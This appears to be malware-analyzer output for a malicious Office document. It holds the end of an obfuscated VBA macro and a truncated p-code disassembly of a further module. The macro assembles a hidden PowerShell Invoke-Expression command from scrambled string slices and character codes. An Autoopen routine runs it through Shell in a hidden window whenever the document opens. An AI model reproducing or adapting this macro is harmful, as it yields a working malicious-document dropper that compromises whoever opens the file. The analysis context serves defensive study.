zjTcNObL = (zWOzZHzfMZs - CDbl(228902) + ohkSJPUFU + Fix(zAtuKuWwaVW / CLng(775651 * Sqr(sLzokPia))) - 948005 / Sin(OmtIzjJDzGF - DZOEizEI - 644019 + CLng(zWNMoY)) * 419003 * Fix(228902))
muomERlaXIf = "0QaK1KJmg9TylH4CRpRfItemo7V)WXf(FlpRAa1iQuaNo8UjBQ3"
GKGJFLbplAq = Left(Right(muomERlaXIf, 34), 11) + CStr(Left(Right(muomERlaXIf, 20), 5)) + Left(Right(muomERlaXIf, 21), 1)

NPJwtWKZ = Chr(43)
EtTZGWiitnr = "nc0QaK1pRf0pTRfH4CRJ2"
uJupvEZNU = CStr(Left(Right(EtTZGWiitnr, 14), 5)) + CStr(Left(Right(EtTZGWiitnr, 8), 2))

zlKql = Chr(43)
pKOtZNLjW = "nc0QaK1pRfSpTRfH4CRJ2"
fzRvNz = CStr(Left(Right(pKOtZNLjW, 14), 5)) + CStr(Left(Right(pKOtZNLjW, 8), 2))

vTMsI = Chr(43)
KGkzG = "nc0QaK1KJmg9pRfDC);b2Wrep'B3uFWXgfXu"
VLBPQLBMTKH = CStr(Left(Right(KGkzG, 24), 8)) + Left(Right(KGkzG, 14), 4)

cQtsp = Chr(43)
tYStsUNl = "nc0'Rf1KJ"
YXpOZ = CStr(Left(Right(tYStsUNl, 6), 2)) + CStr(Left(Right(tYStsUNl, 4), 1))
mKsliK = (iKTkG - CDbl(913046) + mJlzP + Fix(MzbvlLRzwTI / CLng(122441 * Sqr(ntCmiliMvzr))) - 989707 / Sin(rjKsJmkw - pjNLOGa - 421685 + CLng(MFLBawM)) * 669187 * Fix(913046))
XwSmGKvw = Chr(43)
LsGwOY = "nc0QaK1KJmg9TpRfak;}cavHtpRfuFWXgfXud1A"
FNjtCplzKs = CStr(Left(Right(LsGwOY, 26), 9)) + Left(Right(LsGwOY, 15), 4)

BbXosis = Chr(43)
MdjRiLiR = "nc0QaK1KJmpRfch{}CRpRfvH3sB3uF"
DTAzVWIi = CStr(Left(Right(MdjRiLiR, 20), 7)) + CStr(Left(Right(MdjRiLiR, 11), 3))

sQwzw = Chr(43)
AlickMz = "0QaK1KJmg9TylH4CRJ2WvpRf}pRf).rEPla1AaHce(([c8UjBQ3TfHgjMh8yQ4G"
FSLTdQOvPN = Left(Right(AlickMz, 42), 14) + Left(Right(AlickMz, 24), 6) + CStr(Left(Right(AlickMz, 25), 1))

vStjnC = "nc0QaAr]98g9Tyl"
ZvaitYSRsT = Left(Right(vStjnC, 10), 4) + Left(Right(vStjnC, 6), 1)

PKXuL = Chr(43)
iWDwiIYt = "nc0QaK1K[cHAry]7'CRJ2WvH"
FtuTCnSWh = Left(Right(iWDwiIYt, 16), 5) + CStr(Left(Right(iWDwiIYt, 10), 3))
XsIDbCScaw = wqPiREC + kQNcuEwnwU + wjipKVXBKQT + XDGfac + aCHkK + lsnJNVii + zIdCiWjMW + KjilCDwDYIt + qRCwLiA + VpbNsvGikjS + AdGrCGkGR + EznRG + lKQYJIuzK + rEphaT + bczOczWOrX + ovRvAJf + MrUVIipYQC + ukivfSc + lihufSjSmTM + wbAGwvA + puFlrI + aDsUKY + bOBEL + LSRujKBsRZD + QnoKHIahs + rVvOiBfw + PCnpHpR + oPdBIMrKtj + YojhIjik + QoLiH + koJWEYE + csIUzzNrhij + zulTtPnuq + zAQKo + DNjMi + AQAvBIVcRj + rrHGdVvldC + uIEmJKo + wUAItUS + NfYNpRKYTjw + snbBmfWs + GKGJFLbplAq + NPJwtWKZ + uJupvEZNU + zlKql + fzRvNz + vTMsI + VLBPQLBMTKH + cQtsp + YXpOZ + XwSmGKvw + FNjtCplzKs + BbXosis + DTAzVWIi + sQwzw + FSLTdQOvPN + ZvaitYSRsT + PKXuL + FtuTCnSWh

End Function

Function PMpXkk()

On Error Resume Next
UWIIHMJ = (FCwUi - CDbl(513098) + ahHFFBOn + Fix(SSTfRjHHjPS / CLng(987783 * Sqr(aEuSmi))) - 854908 / Sin(aDYfXZWB - ckUDjZpqnjs - 617587 + CLng(zuPFMNzc)) * 613807 * Fix(513098))
quwWPzuzGY = Chr(43)
cuGLbBwlYk = "mh'00Q"
IiXGKfA = CStr(Left(Right(cuGLbBwlYk, 4), 2))

cfTAvMO = Chr(43)
twPKjI = "m[cHAr]84),[StriNG][U35bmLBy5xFlk031tf9Pg0KcS4419iMJmySjszcHWt2lRAr]92).rbtTiS8hG9oEawzlYJ"
QSNZrXsFSrl = Left(Right(twPKjI, 89), 19) + CStr(Left(Right(twPKjI, 32), 2)) + CStr(Left(Right(twPKjI, 25), 8)) + Left(Right(twPKjI, 7), 1)

wPhnEvPSRdG = "PlacebEhs8ig9(1A'OMY1"
arMTRBs = CStr(Left(Right(wPhnEvPSRdG, 21), 5)) + Left(Right(wPhnEvPSRdG, 8), 1) + Left(Right(wPhnEvPSRdG, 5), 1)

GozpfOnMXt = Chr(43)
VVEHk = "'([cHArhs8ig9x1AqOM]1Z705bmLBy"
JAEdh = Left(Right(VVEHk, 30), 7) + CStr(Left(Right(VVEHk, 11), 1)) + Left(Right(VVEHk, 8), 2)

zallSnSuktk = Chr(43)
iBdMpWcFjY = "[cHAr]Ehs8ig9x1Aq1MY08U35bm"
zjuTbnb = Left(Right(iBdMpWcFjY, 27), 6) + Left(Right(iBdMpWcFjY, 10), 1) + CStr(Left(Right(iBdMpWcFjY, 7), 2))

YtcjfhY = Chr(43)
KIqZQBMU = (zBFkO - CDbl(410895) + SVYWoZQT + Fix(azapdw / CLng(275052 * Sqr(jmJOj))) - 591831 / Sin(qEMSGMdFv - mBcZw - 509618 + CLng(EwtodwQbX)) * 348658 * Fix(410895))
bivMMTH = "][cHAr]48),[StriNGMY1ZU35bmLBy5xFlk031tf9Pg0KcS4419[MJmycHAr]36t2lROC07pUhPbtT"
rPMZQi = CStr(Left(Right(bivMMTH, 77), 17)) + Left(Right(bivMMTH, 78), 1) + Left(Right(bivMMTH, 27), 1) + CStr(Left(Right(bivMMTH, 22), 7))

fUudzBYcKC = "m).rEPlace(pRfRgxpRZU35bmLBy5xFlk031tf9Pg0KcS4419iMJmyf,szpsW[StriNG7pUhPbtTiS'hG9oN"
zKNHzimW = CStr(Left(Right(fUudzBYcKC, 83), 18)) + CStr(Left(Right(fUudzBYcKC, 30), 2)) + CStr(Left(Right(fUudzBYcKC, 23), 7)) + CStr(Left(Right(fUudzBYcKC, 6), 1))

csEpwjGSO = Chr(43)
OulVzhSJ = "E'][cHAr]34).r1AqOMY1ZU35bmLBy5xFlk031tP9Pg0lace(19iMJmySjsz"
pTIRCc = CStr(Left(Right(OulVzhSJ, 59), 13)) + CStr(Left(Right(OulVzhSJ, 60), 1)) + CStr(Left(Right(OulVzhSJ, 21), 1)) + CStr(Left(Right(OulVzhSJ, 16), 5))

CqHXaIrocLF = "SpRfo7VpRf,[9x1AqOMY1ZU35bmLBy5xFtk03riN'Pg0KcS4419"
ncsjZ = CStr(Left(Right(CqHXaIrocLF, 50), 11)) + Left(Right(CqHXaIrocLF, 51), 1) + Left(Right(CqHXaIrocLF, 18), 1) + CStr(Left(Right(CqHXaIrocLF, 14), 4))

wOzqDtnSzh = Chr(43)
iipUEcWVi = "'G][cHAhs8ig9x1AqOMY1rU3]39LBy5xF"
SujLNH = CStr(Left(Right(iipUEcWVi, 33), 7)) + CStr(Left(Right(iipUEcWVi, 12), 1)) + Left(Right(iipUEcWVi, 9), 3)

TAbrV = ").rEPlEhs8ig9x1AaO'Y1ZU3"
uLHpHo = Left(Right(TAbrV, 24), 6) + CStr(Left(Right(TAbrV, 8), 1)) + CStr(Left(Right(TAbrV, 6), 1))

KirvJiBDCH = Chr(43)
HGJzsOvXn = (LPsYj - CDbl(69597) + NEUjRw + Fix(stBhzUo / CLng(495032 * Sqr(LpUzUrvKLjS))) - 527106 / Sin(kkiQX - OHiViQ - 810982 + CLng(lQErhz)) * 855074 * Fix(69597))
ctasms = "'ce(([cHA8ig9x1AqOMY1ZU35bmrBy]102k031tf9P"
iOwadMYuQ = CStr(Left(Right(ctasms, 42), 9)) + Left(Right(ctasms, 15), 1) + Left(Right(ctasms, 12), 4)

YwKWwcLcUzi = Chr(43)
TTOTGVMMCnI = "[cHAr]Ehs8ig9x1Aq7MY1'U35bm"
nshGC = Left(Right(TTOTGVMMCnI, 27), 6) + Left(Right(TTOTGVMMCnI, 10), 1) + CStr(Left(Right(TTOTGVMMCnI, 7), 2))

IiOWvMpzTal = Chr(43)
hPXXtH = "'B0"
ILQlSohpPoY = Left(Right(hPXXtH, 3), 1)

shAdbEtXJdl = Chr(43)
hzTDwdJG = "[cHAmybbEh'8ig9"
hCBzhwJlr = CStr(Left(Right(hzTDwdJG, 15), 4)) + Left(Right(hzTDwdJG, 5), 1)
OoiZiDQmk = (SinFVr - CDbl(776828) + pZiAwwzRY + Fix(XmlVYuF / CLng(34728 * Sqr(iKtGwJGo))) - 498550 / Sin(NqWLI - dWzlfPsj - 869597 + CLng(JmsAzn)) * 473044 * Fix(776828))
wmOTX = Chr(43)
zqGJCGLqiHn = "6)'r]48),[StriNG][cHAr]9mLBy5xFlk031tf9Pg0KcS4419iMJmySjszpsWt2lROC07 )hPbtTi ').ReplwzlYJ8upGtmxaB4r3uKD"
TniCUljIriq = CStr(Left(Right(zqGJCGLqiHn, 103), 22)) + CStr(Left(Right(zqGJCGLqiHn, 105), 2)) + Left(Right(zqGJCGLqiHn, 36), 2) + Left(Right(zqGJCGLqiHn, 28), 8) + CStr(Left(Right(zqGJCGLqiHn, 8), 1))

MMwvd = "ce(([cHas8ig9x1AqOMY1ZUR5b]77y5xFlk0"
NCquSFJX = Left(Right(MMwvd, 36), 8) + Left(Right(MMwvd, 13), 1) + CStr(Left(Right(MMwvd, 10), 3))

bwJNRSlDWzi = Chr(43)
tkaYmTv = "[cHaR]Ehs8ig9x1A9O8Y1ZU3"
fLZLIO = Left(Right(tkaYmTv, 24), 6) + CStr(Left(Right(tkaYmTv, 8), 1)) + CStr(Left(Right(tkaYmTv, 6), 1))

tViCfitT = Chr(43)
rDGLrL = "$[cHaR]121),'x1AqOMY1ZU35bmLBy5xFlk03'tf9).RepS4419iMJmyS"
DTIJzz = CStr(Left(Right(rDGLrL, 56), 12)) + CStr(Left(Right(rDGLrL, 57), 1)) + CStr(Left(Right(rDGLrL, 20), 1)) + CStr(Left(Right(rDGLrL, 16), 5))
dzviiXwbz = (rUNiT - CDbl(790554) + lTLGwPIYS + Fix(LcsUISaU / CLng(62597 * Sqr(vtuKfUS))) - 377825 / Sin(Snswz - jzrfdfNo - 897496 + CLng(LGLViiuZ)) * 107365 * Fix(790554))
XNRMCc = "lace(([cHaig9x1AqOMY1ZU35bmLBR5x]11231tf9Pg0K"
iOVtb = CStr(Left(Right(XNRMCc, 45), 10)) + Left(Right(XNRMCc, 16), 1) + Left(Right(XNRMCc, 13), 4)

wYBRDzzl = Chr(43)
HvGrAifDWC = "[cHaR]Ehs8ig9x1A8O2Y1ZU3"
bQpSwYMdz = Left(Right(HvGrAifDWC, 24), 6) + CStr(Left(Right(HvGrAifDWC, 8), 1)) + CStr(Left(Right(HvGrAifDWC, 6), 1))

JmXZipzv = Chr(43)
hWiLvhn = "[[cHaR]102),9x1AqOMY1ZU35bmLBy5xFSk03TRiNPg0KcS4419"
VHLXh = CStr(Left(Right(hWiLvhn, 50), 11)) + Left(Right(hWiLvhn, 51), 1) + Left(Right(hWiLvhn, 18), 1) + CStr(Left(Right(hWiLvhn, 14), 4))

NMBqpXQmH = "g][cHaR]s8ig9x1AqOMY1ZU35b9))y5xFlk0"
YkzZszscY = Left(Right(NMBqpXQmH, 36), 8) + Left(Right(NMBqpXQmH, 13), 1) + CStr(Left(Right(NMBqpXQmH, 10), 3))
PMpXkk = quwWPzuzGY + IiXGKfA + cfTAvMO + QSNZrXsFSrl + arMTRBs + GozpfOnMXt + JAEdh + zallSnSuktk + zjuTbnb + YtcjfhY + rPMZQi + zKNHzimW + csEpwjGSO + pTIRCc + ncsjZ + wOzqDtnSzh + SujLNH + uLHpHo + KirvJiBDCH + iOwadMYuQ + YwKWwcLcUzi + nshGC + IiOWvMpzTal + ILQlSohpPoY + shAdbEtXJdl + hCBzhwJlr + wmOTX + TniCUljIriq + NCquSFJX + bwJNRSlDWzi + fLZLIO + tViCfitT + DTIJzz + iOVtb + wYBRDzzl + bQpSwYMdz + JmXZipzv + VHLXh + YkzZszscY + VUNviVlVQ

End Function

Function kbzScDE()
On Error Resume Next
kbzScDE = IcmiYoYIIX + PItLip + ljJRLuomWOv + XDGoC + MiCJA + GDSdqHiHAYj + kOwWDinvHtq + XsIDbCScaw + PMpXkk
[Shell] QaQsHiXoNDH + Chr(vbKeyP) + kbzScDE, 0
End Function

Sub Autoopen()
On Error Resume Next
kbzScDE
End Sub



' Processing file: /opt/analyzer/scan_staging/2a17714ee9c24972abc22d47f9e93c5a.bin
' ===============================================================================
' Module streams:
' Macros/VBA/mECsHnWkk - 74372 bytes
' Line #0:
' 	FuncDefn (Function IcmiYoYIIX(id_FFFE As Variant))
' Line #1:
' Line #2:
' 	OnError (Resume Next) 
' Line #3:
' 	Ld WWZiji 
' 	LitDI4 0xBCE3 0x0001 
' 	Coerce (Dbl) 
' 	Sub 
' 	Ld XCkOWljq 
' 	Add 
' 	Ld SjikojX 
' 	LitDI4 0xF6DF 0x0007 
' 	Ld zHlbduSjJUi 
' 	ArgsLd Sqr 0x0001 
' 	Mul 
' 	Coerce (Lng) 
' 	Div 
' 	FnFix 
' 	Add 
' 	LitDI2 0x530F 
' 	Ld vKMZWMCQwpi 
' 	Ld XqlELHVnw 
' 	Sub 
' 	LitDI4 0x1074 0x0009 
' 	Sub 
' 	Ld hYswtIRh 
' 	Coerce (Lng) 
' 	Add 
' 	ArgsLd Sin 0x0001 
' 	Div 
' 	LitDI4 0xA153 0x0001 
' 	Mul 
' 	LitDI4 0xBCE3 0x0001 
' 	FnFix 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St ROLEnur 
' Line #4:
' 	LitStr 0x0030 "Vowerh82XVZ9NPK4pyshell iNvOtoEDEsv43eChwslDpnpd"
' 	St PBjHAuhv 
' Line #5:
' 	Ld PBjHAuhv 
' 	LitDI2 0x002F 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0004 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Ld PBjHAuhv 
' 	LitDI2 0x001E 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x000A 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	Ld PBjHAuhv 
' 	LitDI2 0x0022 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	Ld PBjHAuhv 
' 	LitDI2 0x0010 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	St lOVcvL 
' Line #6:
' Line #7:
' 	LitStr 0x0060 "WkNJBdOsepREsrpFF74kHHlyuMTXYDtZ-ExPRESsIon( ('&( MbydUEyOvErv9VbFwlNXIgmfKsvW9fBfIuiwSgcFJY9W3U"
' 	St GwcwbPRkm 
' Line #8:
' 	Ld GwcwbPRkm 
' 	LitDI2 0x0040 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0015 
' 	ArgsLd Left 0x0002 
' 	Ld GwcwbPRkm 
' 	LitDI2 0x0026 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0003 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	Ld GwcwbPRkm 
' 	LitDI2 0x0010 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	Ld GwcwbPRkm 
' 	LitDI2 0x005A 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0006 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	Ld GwcwbPRkm 
' 	LitDI2 0x0017 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	St jsDWYVILP 
' Line #9:
' Line #10:
' 	LitStr 0x001B "BO'WkNJBdeRences.pFF74tHHly"
' 	St abIvXljwXK 
' Line #11:
' 	Ld abIvXljwXK 
' 	LitDI2 0x0012 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0006 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Ld abIvXljwXK 
' 	LitDI2 0x000B 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	Ld abIvXljwXK 
' 	LitDI2 0x0005 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	Ld abIvXljwXK 
' 	LitDI2 0x0019 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	St NcaXHN 
' Line #12:
' Line #13:
' 	LitDI2 0x002B 
' 	ArgsLd Chr 0x0001 
' 	St YmzaKlwlY 
' Line #14:
' 	LitStr 0x002D "BOm3]NJBdThiVoH'OStriNG()ly[1TXYDtZK7U,xYLDQP"
' 	St EjIYT 
' Line #15:
' 	Ld EjIYT 
' 	LitDI2 0x001E 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x000A 
' 	ArgsLd Left 0x0002 
…